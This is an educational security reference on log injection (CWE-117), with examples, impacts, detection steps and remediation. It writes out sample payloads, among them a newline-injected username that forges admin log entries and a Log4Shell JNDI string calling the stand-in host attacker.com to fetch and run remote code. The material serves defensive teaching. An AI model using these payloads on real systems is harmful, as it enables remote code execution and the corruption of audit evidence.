Description
Log injection (CWE-117) occurs when unsanitized user input is written directly to application log files or log aggregation systems. Because log entries are typically delimited by newline characters, an attacker who can inject \n or \r\n into a logged field can insert entirely synthetic log entries — making it appear that arbitrary events occurred, or concealing evidence of malicious activity by injecting false entries that push genuine ones off dashboards or out of retention windows.
Log injection sits at the intersection of OWASP A09:2021 (Security Logging and Monitoring Failures) and injection vulnerabilities. The vulnerability appears in any application that logs user-controlled values: authentication logs recording usernames, error logs reflecting request paths or user agents, audit logs capturing API parameters, and structured JSON logs that don't properly escape field values.
Beyond log forgery, log injection feeds more severe attacks. Log4Shell (CVE-2021-44228) demonstrated that a log injection payload ${jndi:ldap://attacker.com/a} could trigger remote code execution in Apache Log4j. Similarly, applications that process logs with shell scripts, Python parsers, or SIEM correlation rules can be exploited through crafted log content that triggers secondary injection in the consumer.
How It Works
A login endpoint logs the submitted username:
logger.info("Login attempt for user: " + username);
An attacker submits the username:
alice\nINFO: Login successful for user: admin\nINFO: Privilege escalation completed
The resulting log file contains:
INFO: Login attempt for user: alice
INFO: Login successful for user: admin
INFO: Privilege escalation completed
A security analyst reviewing the log sees what appears to be a successful admin login and a privilege escalation event — neither of which actually occurred. The attacker can use this to create false audit trails, frame legitimate users, or mask the timing of a real attack.
JNDI/Log4Shell-style injection — for systems using Apache Log4j 2.x (pre-2.15.0):
${jndi:ldap://attacker.com/exploit}
When this string appears in any field logged by Log4j, the library performs a JNDI lookup, fetching and executing a remote Java class — full RCE from a log field.
Elasticsearch/SIEM injection — many log pipelines ingest data into Elasticsearch or Splunk. A crafted JSON injection in a log entry can create malformed index entries, trigger parser errors, or in older versions exploit deserialization vulnerabilities in the ingestion pipeline.
User-Agent and Referer headers are classic injection points — they are logged by virtually every web server and access log, and they are rarely validated.
Impact
- Log Forgery — Creating fake log entries that falsely indicate events (successful logins, admin actions, system events) never occurred
- Audit Trail Corruption — Destroying forensic integrity by inserting, modifying, or hiding evidence of an attack
- SIEM Alert Evasion — Injecting noise entries that flood dashboards, mask anomalies, or trigger false-positive fatigue
- Secondary Code Execution — Triggering JNDI lookups (Log4Shell), shell injection in log-processing scripts, or deserialization in log consumers
- Compliance Violations — Corrupted audit logs may violate SOC 2, PCI DSS, HIPAA, and ISO 27001 log integrity requirements
Detection
- Inject newline sequences into all logged inputs — test
%0a,%0d%0a, and their double-encoded variants in usernames, User-Agent headers, Referer headers, search fields, and API parameters. Review log files for the injected content appearing as separate entries. - Test JNDI injection payloads — submit
${jndi:ldap://your-collaborator.com/a}in User-Agent and other logged fields. Monitor for DNS/HTTP callbacks using Burp Collaborator or interactsh to detect Log4Shell-vulnerable log processing. - Inject JSON-breaking characters — for JSON-based log pipelines, submit
","level":"ERROR","message":"injectedand verify whether the log consumer processes it as a separate structured record. - Review all logging statements — grep for
logger.info(,console.log(,syslog(,log.write(calls that concatenate user-controlled values without sanitization. - Check log aggregation pipelines — review Logstash, Fluentd, and Vector configurations for filters that handle multi-line log entries, which can be exploited by injected newlines.
- Verify Log4j version —
mvn dependency:tree | grep log4j. Any Log4j 2.x version below 2.15.0 is vulnerable to Log4Shell via log injection.
Remediation
Sanitize user input before logging. Strip or escape newline characters, carriage returns, and non-printable control characters from any user-supplied value before writing it to a log:
// Java — sanitize before logging
String safeUsername = username.replaceAll("[\r\n\t]", "_");
logger.info("Login attempt for user: {}", safeUsername);
Use parameterized logging APIs. Structured logging APIs (SLF4J, Winston, structlog) that accept discrete field-value pairs rather than format strings prevent injection by treating values as data:
# Python — structlog (safe)
logger.info("login_attempt", username=username)
Encode special characters in log output. Apply a log encoder that escapes control characters within field values before writing to the sink.
Upgrade Log4j. Ensure Apache Log4j 2 is version 2.17.1 or later (JDK 8+). Set log4j2.formatMsgNoLookups=true as a system property on older versions.
Protect log integrity. Write logs to append-only storage or ship them immediately to a remote SIEM. Use cryptographic log signing (e.g., systemd-journal) to detect tampering.
